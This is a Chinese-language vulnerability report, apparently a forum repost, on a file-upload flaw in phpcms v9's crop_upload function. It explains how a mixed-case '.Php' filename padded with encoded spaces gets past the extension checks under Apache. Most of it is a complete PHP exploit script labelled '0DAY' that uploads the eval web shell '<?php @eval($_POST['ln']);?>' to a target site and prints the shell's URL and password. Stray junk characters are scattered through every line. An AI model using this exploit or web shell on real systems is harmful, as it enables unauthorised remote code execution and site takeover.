漏洞类型: 文件上传导致任意代码执行( ~! a# L( r: ^$ q7 ^9 B; X" R) S" L6 [
" S) d; u" B7 q简要描述:3 M( \ @6 q/ a4 k( _
+ M: m% H' x; s5 u
phpcms v9 getshell (apache), W% D9 x/ N' q0 u# n
详细说明:- W' n; ^+ I" b' }
; i+ I7 M. W1 M漏洞文件:phpcms\modules\attachment\attachments.php
- I% ]1 y. y) d6 F/ K. v7 l: _" ^* `5 `0 a$ P5 j7 `
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } } + I0 q, u g- u: R% _" S5 {
后缀检测:phpcms\modules\attachment\functions\global.func.php
- x1 p- {1 O' U* ^9 ?* Y. g. t$ o/ |& Z
! {- x! Z2 j! d2 D E4 Y
1 l" D, W E; r! W3 _" `* q3 E
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
* i* O' h3 r0 M4 Q. I( {. r y H" L/ x5 j) y6 b
关键函数:/ q& L% v$ _8 Z2 ?
9 e0 g% E9 t& t- T- t
1 {' V: o W+ k! Q( s3 E( F+ Z' F# W. n% ?% t. I ^$ j( ^
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); } - {, _/ |; K% P2 n! Q
) B! k g9 W: x( U
Fileext函数是对文件后缀名的提取。( t/ G1 V; y; O( {; m* \; _
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
+ i2 D) f) p8 v- k4 Z; M6 G经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。2 l! ~3 s2 H6 y! V' W S6 l
我们回到public function crop_upload() 函数中
2 r$ a, b" B$ H) Mif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();4 H# I0 t# w8 _. ~; S! v
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数: O( H( u( |" R9 A; ?4 E K6 l
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
/ w% J0 g& O$ d" ~8 G经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
2 r7 d) t3 s* W最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
( M+ ^/ z3 Q5 }. y: O看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。1 M' |$ W4 Z2 }/ F" c0 n' m
漏洞证明:" l1 K# j% s* r) k& p
7 v! C0 B3 {" r( L
exp:% V9 ?2 M- h' s {
; ^- H9 \/ @& n% c" F3 p. X
<?php1 y l1 N- M C1 K0 Z
error_reporting(E_ERROR);6 k n( [! v6 U
set_time_limit(0);: E( Q5 i0 z) v! w8 w' `
$pass="ln";
4 ]% R* G5 |$ E% u$ n+ p4 M$ b+ _- J" Mprint_r('
& O2 O0 k" t/ N" l9 c! }+---------------------------------------------------------------------------+. ^4 P# m5 W" N' y n; ?0 b
PHPCms V9 GETSHELL 0DAY 6 Y G5 [* j& q0 E# g& q. o
code by L.N.
5 Z; Z% J, |: I X9 p$ j) w3 ^" u+ G$ w" ~0 E( }
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net O0 R& B/ O0 Z+ x9 N
+---------------------------------------------------------------------------+1 f; Q3 z5 q1 s1 {! j' ~6 o; r7 H
');
) P. r6 X8 I0 G) Wif ($argc < 2) {
* K! @, I$ X Rprint_r('
1 ^* e6 P! f; ~$ }+---------------------------------------------------------------------------+
6 p; U0 k+ n) L" k1 sUsage: php '.$argv[0].' url path
, u k6 }% l5 G g/ O- O" W
6 l2 [5 u* K+ G {! y6 m# }& B6 ]Example:1 M1 K; ?& F( F4 o
1.php '.$argv[0].' lanu.sinaapp.com
( x# o- ]* a0 E+ D# _; F2.php '.$argv[0].' lanu.sinaapp.com /phpcms( m8 W/ ?* V0 J2 Y" k
+---------------------------------------------------------------------------+: r* O8 G$ C- |# P- y' J5 \8 o, v: R
'); s) E3 N' c. q" L: T
exit;
' a3 d" R0 M! F/ Q* ~}6 I9 b7 v% C& C. h! n' _! V# Y7 o/ S j
) z% k# u8 P5 x) _- N7 q/ u) F: Q
$url = $argv[1];! v8 ^* Q+ R+ q# E
$path = $argv[2];1 q9 W+ x3 K5 F+ M! u# J+ H& _: c E
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';6 E& f# l+ _. @6 S% ?- g4 h
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
* w; C1 q$ n8 `8 d! V; Y {: rif($ret=Create_dir($url,$path))$ N) o5 I; d3 U1 |0 Z2 v8 k" A0 ]
{
2 E1 p. O; d- a, _ a) B//echo $ret;7 |' i- C6 P! [# K7 z6 w5 S# x$ u( S
$pattern = "|Server:[^,]+?|U";
7 \# P' V3 y; H6 D5 a7 D, m Epreg_match_all($pattern, $ret, $matches);, @" {& ~3 @8 a
if($matches[0][0])8 t9 i% N R; \3 t3 B, H; T
{* A8 \2 F" E2 v6 o# Y K
if(strpos($matches[0][0],'Apache') == false)
9 y8 A( b- V* e3 H{$ E+ y! S8 H. y; w o- e
echo "\n亲!此网站不是apache的网站。\n";exit;
) A: n7 `8 f; o1 } U# v* m}
! [3 s, K1 h% _- d9 U+ ?}2 C1 { J- t9 n/ ~* c5 X2 @' G: K
$ret = GetShell($url,$phpshell,$path,$file);
1 h) B+ X0 N* s2 I/ h0 M$pattern = "|http:\/\/[^,]+?\.,?|U";( a# y8 h7 m ^8 N; w/ A: @+ S v- w4 w
preg_match_all($pattern, $ret, $matches);0 Z1 D) z& t+ J; c" t0 [
if($matches[0][0])
3 z4 a3 s% \# w; P/ ?{
3 z' N' o( b+ u3 [' u: {echo "\n".'密码为: '.$pass."\n";
0 C6 l+ M5 J. A5 h) {% secho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;0 E; U6 e" q. O. ^) L/ [+ w
}
/ C7 }% f- o, F: celse4 M7 H* }- J! q0 I) B; H
{
2 E3 ?0 G, K3 `8 [9 ^$pattern = "|\/uploadfile\/[^,]+?\.,?|U";9 L1 I6 v. O, S: n5 h
preg_match_all($pattern, $ret, $matches);3 F& H4 l) h& U$ B9 @, \# Q
if($matches[0][0])0 F ^0 Y5 r! T( J
{. v m. Q; K% c
echo "\n".'密码为: '.$pass."\n";8 J6 d1 @) P! t6 ~9 s8 N
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
- a. E. j1 e' l$ ?4 x. s8 B}9 r9 @: l8 h. H" }9 ]& U) ^! H3 d
else
1 l( f( c3 B8 _) d) H) K{
$ b4 }2 T8 V* Q1 l' becho "\r\n没得到!\n";exit;
) N6 N* r9 z7 d) t. y& e}
! m' F# g( ?3 U% d& P}
9 [7 R1 t4 `- i} _4 L: j0 N5 K9 Y2 |" d- ~: X
1 X* Z0 c/ K$ I O. Cfunction GetShell($url,$shell,$path,$js)7 w( t @: l9 b- u' ]" b
{
9 T2 x: E; ]2 {' G! @1 [9 H$content =$shell;
1 A) w: H5 |4 B) w+ j$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";3 G, |3 v5 }9 H5 Z8 l/ w
$data .= "Host: ".$url."\r\n";7 a- O6 G* {% Q
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";* G7 ^% o- h# d5 Z, d" l+ {4 h6 q5 t
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
6 ]$ l& r% O0 w. m" S1 @$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
' f$ D* f) W7 U% Z! p( U# U3 C$data .= "Connection: close\r\n";
- S8 J4 d% l4 _+ ]3 _2 H3 B2 I$data .= "Content-Length: ".strlen($content)."\r\n\r\n";- G/ B9 J( s% J2 C+ c2 ?
$data .= $content."\r\n";
4 U0 T# [- p% C8 @* a' `6 H$ock=fsockopen($url,80);
* y; K+ k$ a& F/ r6 a' F1 P* P, z- vif (!$ock)
; _7 r4 E9 x( n+ h# n{5 q3 \ _+ F5 T* q
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
. ~9 [4 J C$ h: g' p1 O4 Y3 E}; _& ^, x% n/ i% G
else
; [1 n+ N$ E7 O! R0 \% i% |1 k{ p3 g8 \6 R9 }' l! W' N4 M6 o1 y
fwrite($ock,$data);5 g! p1 U0 C! }; z
$resp = '';% K' C+ U Z/ D6 w: _8 G, v
while (!feof($ock))2 v$ n+ ~& w. ~! g, F+ J
{2 `; }$ e7 t$ q; z- o" @4 B( b
$resp.=fread($ock, 1024);& J7 k+ o. X7 O/ D8 x
}
( W0 Q I0 f N y/ x3 ereturn $resp;
' Y% c2 ^# r( u& h" V$ B4 P3 `}' F0 k: {& x6 x6 @0 I
}
, f. S" k+ B6 t% ?7 U
) h/ t' ~3 T$ i f% x+ C# c; p# Kfunction Create_dir($url,$path='')/ ]. Y' d+ g# l
{! S7 H T6 d9 J
$content ='I love you';
& b5 Y: N) B, f: E; ~+ Y$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
/ z, ?, I6 w8 N8 i1 p- U+ ?9 k$data .= "Host: ".$url."\r\n";. _2 H( E7 N/ T% X
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";; q. K) E" y" ~" R) ^
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";* g* l& J+ W) g ]) {9 q7 k
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";) {5 v4 i9 \ T: _$ j2 u6 `
$data .= "Connection: close\r\n";5 p* t6 E0 k) m
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
- J3 B' n+ q2 @0 r- r! R$data .= $content."\r\n";0 ~- B, K' d% R! H4 K5 J* `
$ock=fsockopen($url,80);
5 M; z, P' i+ o3 cif (!$ock)0 W- n7 `; A% {# J3 k+ d
{1 M( ~3 Z1 ?' T$ C; h: M
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;5 N, f! W1 U9 m: _
}. G6 [9 _, c0 f, g. g4 G
fwrite($ock,$data);1 p0 N( i! P$ f+ V( K# |
$resp = '';( }) e7 W! d# G; D4 S9 l. P
while (!feof($ock)), K; @% ~ ~4 I2 {9 B
{4 @, y* T3 v+ n4 B7 h7 o
$resp.=fread($ock, 1024);1 S9 n& t, A! v' \" K
}' ~1 \( {! m! b# E& N5 x: h
return $resp;. z" a3 s1 ]* J8 [5 f. [ o
}, d/ Y3 X m& b% I4 M% z
?>
/ E, g) e$ F3 h$ h. W 9 d" L5 u2 p$ B* ]5 I6 Z
修复方案:
1 B' G4 t4 i& T/ x, P
2 h: K' e# @8 i过滤过滤再过滤1 t* L) c" {% F3 [4 `; @
" X# X; s* C1 J( B! `: j1 E- Q! ^* h
|